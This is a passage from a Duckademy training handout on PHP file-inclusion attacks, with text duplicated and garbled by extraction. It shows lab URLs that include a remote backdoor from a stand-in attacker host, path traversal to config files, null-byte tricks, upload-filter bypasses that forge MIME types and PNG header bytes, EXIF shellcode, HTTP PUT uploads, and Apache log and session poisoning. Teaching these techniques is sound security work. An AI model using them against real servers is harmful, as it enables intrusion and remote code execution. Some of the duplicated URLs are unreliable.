Related course: Local and Remote File Inclusion
Table of contents Remote File Inclusion (RFI) .........................................................................................2 Local File Inclusion (LFI)..............................................................................................4 Null byte....................................................................................................................... 4 Upload and LFI ............................................................................................................5 No file type check ................................................................................................5 Check the file extension ......................................................................................7 Check the extension and mime type ...................................................................9 Check the file extension, mime type, and header and/or footer ........................ ............ ............ 14 Use the exif of of a real picture......................... ............. .......................... .......................... .......................... ............... 23 Use the PUT method in HTTP to upload ...................... ............. ........................... ........................... .................. ..... 25 Include database file ............ ......................... .......................... .......................... .......................... .......................... ........................... ..................... ....... 7 2 Apache log poisoning ................................................................................................ 30 Session poisoning ..................................................................................................... 33 Mitigation ................................................................................................................... 4 2
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 2
Remote File Inclusion (RFI) Local File Inclusion (LFI) and Remote File Inclusion (RFI) are common attack vectors against webservers with PHP support. Other webserver webservers s can also be vulnerable to this type of attack but it is most common in case of PHP. A lot of the time applications will use some kind of frame with common elements on every page, just like a header menu line or footer with company information that we want to show on every page. In this case the application application may be something like the following. There is a frame (many times called a main frame or something like that) that has a code snippet something like: create the common elements on the header ... $pagetoshow = $_GET['page' $_GET['page']; ]; include($pagetoshow); ... create the common elements on the footer
In this case the URL looks as follows: http://my.web.page/frame.p http://my.web .page/frame.php?page=order hp?page=order
It causes every instruction in the order.php to be "copied" to the frame.php. In this case we can try the following to attack the website: http://target.page/frame.php?page=http: http://target.page/frame.p hp?page=http://attacker.pag //attacker.page/backdoo e/backdoo r.php
With newer PHP versions it does not work, because newer versions do not allow the inclusion of remote files. To enable it one should change the allow_url_include parameter to the value "On" in the php.ini config file. Without that setting we get the following error message:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 3
After setting the required parameter (and restarting the XAMPP server and browser of course): allow_url_include allow_url_inc lude = On
It starts to work:
In this situation it was very simple because we were able to define the extension of the file. In most cases it cannot be done because the extension is added by the application itself. In that case the source code looks like the following: create the common elements on the header ... $pagetoshow = $_GET['page' $_GET['page']; ]; include($pagetoshow include($page toshow . '.php'); ... create the common elements on the footer
Here there is not much change, we should just not enter the .php to the end of the URL: http://target.page/frame.php?page=http://attacker.page/backdoor
To defend against this kind of attack, leave the allow_url_include parameter on the default value "Off". Of course, sometimes it cannot be done if an application includes something from another website. In that case try to redesign the application to avoid that kind of situation.
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 4
Local File Inclusion (LFI) If we change it on that way the vulnerability is still there, only the Remote File Inclusion (RFI) is transformed to a Local File Inclusion instead. At first sight it may not look dangerous because if we are not able to upload our code then we would not be able to get a shell. It is not so simple because we are able to load files on the server with the help of this method. That can lead lead to us getting a shell. This attack can be mitigated the following way. In the php.ini file there is an include_path parameter and if we try to include a file we will get the following error message.
If we are lucky and it is set too wide we mi ght be able to read some interesting files like config files, .htpasswd, or .htaccess...: . htaccess...: http://target.page/frame.p http://target .page/frame.php?page=../.. hp?page=../../apache/conf/ /apache/conf/httpd.conf httpd.conf
On Linux systems we can read for example the /etc/password or similar config files.
Null byte The problem is bigger if the application adds the extension like .php to the file. In this case, since PHP version 5.3.4 the null byte could not be used to "clear it". However, with earlier PHP versions versions you could use the following following attack: http://target.page/frame.php?page=../.. http://target.page/frame.p hp?page=../../apache/conf/ /apache/conf/httpd.conf httpd.conf %00 Because of the null byte at the end, when the application adds the .php extension it will be after the null byte. The include include and other functions were were used that use C style style
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 5
strings, so they also stop at the null byte. It means the string was treated only until the null byte, and the remaining part (the .php extension) is neglected.
Upload and LFI If we have an upload possibility, for example to upload an avatar, pictures, or whatever, then we can try to upload some PHP code and include that file as well. There can be many situations, depending on how strict the webpage tests were, if we really upload an accepted file format. The simplest way is when no checks were made at all. We will start with this case. Then the stronger checks will come.
No file type check First, we should add a file upload possibility to our webpage, this can be done in many ways. The simplest way may be to create two files: one is an upload.html, where we can choose the file to upload on a form and it posts the file to an upload.php which saves it, and the other checks the file. The code of these two files can be the following. Take care with the upload.html, we should set the mime type to multipart/form-data:
Upload.php uploads the file to a temporary directory, and from there we can move the file to the target destination. The data about the uploaded files are populated in the $_FILES structure: "; } else { echo "There was an error during upload"; } echo '
next'; ?>
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 6
Now with the help of these two files we have an upload possibility, we must create a backdoor that we can upload. The simplest PHP backdoor is maybe the f ollowing: backdoor.php:
As we can see, it simply reads the cmd parameter passed in as the query string and executes it. Of course it can be more sophisticated, like base64 encoded string accepted as command to avoid bad characters. After creating this backdoor.php we can simply upload it:
Hopefully the file will be uploaded successfully:
Then we can use the LFI vulnerability:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 7
Change the command parameter to include the uploaded backdoor.php, and of course add the cmd= parameter to run some operating system command: http://192.168.168.101:8888/upload1/rfi.php?command=uploads/ba ckdoor.php&cmd=dir
As we can see our shell code executes fine.
Check the file extension Modify our upload.php to check the file extension: "; } else { echo "There was an error during upload"; } echo '
next'; ?> As we can see, we put the extension to the $ext variable. Then check if it is in the allowed list of the extensions.
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 8
The solution in this case is very simple, we just change the f ile extension to an accepted one, because the include does not take any care of the extension. ren backdoor.php backdoor.png
Then upload it:
Hopefully it will upload:
Then use the local file inclusion to call it: http://192.168.168.101:8888/upload2/rfi.php?command=uploads/ba ckdoor.png&cmd=dir
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 9
As we can see our shell code executes fine. Remember, if the code adds t he extension, then try the null byte to cancel it out, it will work until PHP 5.3.4: http://192.168.168.101:8888/upload2/rfi.php?command=uploads/ba ckdoor.png%00&cmd=dir
Check the extension and mime type As we can see, the extension check can be bypassed very easily because many webpages prefer to check the mime type. It is not a good solution because with the help of a proxy we can easily set the mime type too. Now modify the upload.php, and check how we can bypass it: "; } else { echo "There was an error during upload"; } echo '
next'; ?>
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 10
Try to upload the previous renamed file:
As we can see the upload was not successful.
So start your favorite proxy and set up the browser to use it (I will use Burp Proxy):
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 11
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 12
Then try to upload the file again:
The proxy intercepts the upload and you can immediately see the problem. The mime-type of the uploaded file is set to text/plain, which is not accepted.
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 13
Simply change the mime type to an accepted one, for example to image/png:
Hopefully our backdoor will be uploaded successfully:
We can call it the usual way: http://192.168.168.101:8888/upload3/rfi.php?command=uploads/ba ckdoor.png&cmd=dir
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 14
http://192.168.168.101:8888/upload3/rfi.php?command=uploads/ba ckdoor.png%00&cmd=dir
Check the file extension, mime type, and header and/or footer The next version of the upload.php checks the header and trailer of the file. In this case we can add an acceptable header and footer, or enter t he PHP code to the exif of the file. The upload.php is modified as follows:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 15
} if (!ispngfile($_FILES['uploadedfile']['tmp_name'])) { die('Not a png file!'); } if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$tar getpath)) { echo "The file " . $filename . " has been uploaded
"; } else { echo "There was an error during upload"; } echo '
next'; ?>
As you can see, now only .png is accepted. It is simply because I was too lazy to do it for every extension. Now if we use the previous method it will not work:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 16
The proxy intercepts it:
Change the mime type to image/png as we did earlier:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 17
Now the upload is unsuccessful.
To make it work, modify the backdoor.png and add a correct png header and footer to it.
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 18
Insert 8 bytes at the beginning.
Then insert 8 bytes at the end:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 19
Then set those inserted bytes as follows: The header 8 bytes should be this: \x89\x50\x4e\x47\x0d\x0a\x1a\x0a
The footer 8 bytes should be this: \x49\x45\x4e\x44\xae\x42\x60\x82
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 20
Then save this file and upload it.
Again use the proxy to intercept it and to check the parameters. As we can see the mime type is image/x-png which was not accepted by our upload.php. Why is this? It is because of the browser. The x- means experimental, so during the encoding the browser may not follow the RFC standard, may be too old, or there is some proprietary encoding. The RFC states that the x- mime types should also be accepted by the applications, but again I did not enter it to the accepted mime type array because it is easier to modify it here:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 21
Modify the mime type to an accepted one:
Hopefully the upload is successful now:
Now we can try to call the uploaded backdoor the usual way: http://192.168.168.101:8888/upload4/rfi.php?command=uploads/ba ckdoor.png&cmd=dir
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 22
Now we have a quite bad surprise:
Now when the server sends the png, because of the correct header the browser does not show it to us. It tries to show the answer as an image, not as text, which will not be good. What can we do? The answer is simple, we should use a proxy to watch it and intercept the server's response. To do this, set up the proxy to intercept the server's response. But be careful to intercept not only the text responses according to the default setting of practically all the proxies:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 23
Then try to reload it, and hopefully we will see the answer in the proxy:
Use the exif of a real picture If someone does a better check on th e pictures, then this solution may not be good. In this case we can modify the exif of a real picture and our shellcode there. For this you can use the ExifTool, which can be downloaded from http://www.sno.phy.queensu.ca/~phil/exiftool/ Then we can use, for example, the following command: exiftool.exe -author="" flower.png If we upload the picture the same way as we did before and call it with the following: http://192.168.168.101:8888/upload4/rfi.php?command=uploads/fl ower.png&cmd=dir
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 24
Then we will see the answer in the response of the proxy:
Of course, the picture in the browser is broken again:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 25
Use the
PUT method in HTTP to upload
There is another way to upload. The PUT method in HTTP enables you to upload a file to the server. This method is not enabled by default. First let us see how to enable it: Edit the httpd.conf file and ADD the next block to the end of the directories definition (of course change the path as you need):
AllowOverride All Dav On Order Allow,Deny Allow from all
And uncomment the following lines: LoadModule dav_module modules/mod_dav.so LoadModule dav_fs_module modules/mod_dav_fs.so LoadModule dav_lock_module modules/mod_dav_lock.so Include conf/extra/httpd-dav.conf
Then restart the Apache Server. To use the PUT method to upload a file, the easiest way is to use a proxy, catch a GET method and change it to PUT. So start your favorite proxy and open the webpage where you can upload by PUT:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 26
Check the proxy:
And make the following changes: 1. Change the method to PUT. (The HTTP methods are case sensitive, so the PUT method is capital.) 2. Give some filename. 3. Delete all the lines from the header EXCEPT the Host: ... (If you use HTTP/1.0 instead of HTTP/1.1 then you can delete that line, too.) 4. Then add the backdoor.php code.
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 27
The upload always takes a while. If you do not get an error message:
Then you can try the backdoor.
Include database file Another possibility is to include the database file. On most webpages it is possible to write some description, comment or whatever to your user profile. It can be used to upload your shellcode. Simply write it there and include the database file itself. Again, it will work because the PHP does not take care of most of the binary data. To try it we will use the following sample application. There is an uploaddb.html with the following content: CREATE new user:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 28
It creates a form to enter the user data. And calls the uploaddb.php: '; echo '
next'; mysqli_close($link); ?>
Yes, this PHP code contains a SQL injection vulnerability too, but now we are dealing with the LFI/RFI problem, so let's forget about that. Now, let's try to use it. First open the uploaddb.html and fill it in. One field should contain the PHP shellcode, now it will be the comment:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 29
Hopefully the data is added to the database:
Now, use the next button to fire the RFI/LFI vulnerable site:
And if we call the RFI hopefully it will work. http://192.168.168.101:8888/uploaddb/rfi.php?command=data/a/tbl1.MYD&cmd=dir
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 30
But in many cases we just simply do not have any upload possibility at all. What to do then?
Apache log poisoning We need some area where we can upload the shellcode. But now we only have a local file inclusion, so how to upload a file? One wildely used technique is to "upload" our shellcode to the error log. To do this first we try to open for example the following webpage: http://target.page/ Obviously there will not be any file called on the server. So what will the server do in this situation? It will write to the error.log file that there is no file called . So this line appears in the error log. It means, if we can include the error log, the PHP code will run for us. You should watch out because the browsers change the < to %3C and space to %20. We should avoid it by using a proxy to change them back. The error log before the log poisoning looks like t he following:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 31
Then we call the target URL:
Remember to intercept it with a proxy:
And change back the encoded URL characters:
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 32
Then send it. We get some error message like the following:
It is just fine, because we only wanted to write to the error log. Now if you check the error logs again it looks like this:
Now let us use the local file inclusion to call the error.log file. We use the following URL: http://192.168.168.101:8888/rfi1/rfi.php?command=..\..\apache\logs\error.log&cmd=dir
The command= parameter belongs to the rfi.php and contains the RFI/LFI vulnerability, while the cmd= parameter will be used by t he php shell.
Duckademy IT courses – www.duckademy.com
How LFI and RFI work - 33
We can see the result of the shellcode execution:
Session poisoning Another commonly used attack vector is through the session files. The PHP stores it in the tmp directory and the name of the file can be easily predicted. The file name will start with the name sess_ string, then comes the PHPSESSIONID that of course can be read by a proxy. To try this vulnerability we will have three PHP files: The first one called by the user is the myindex.php: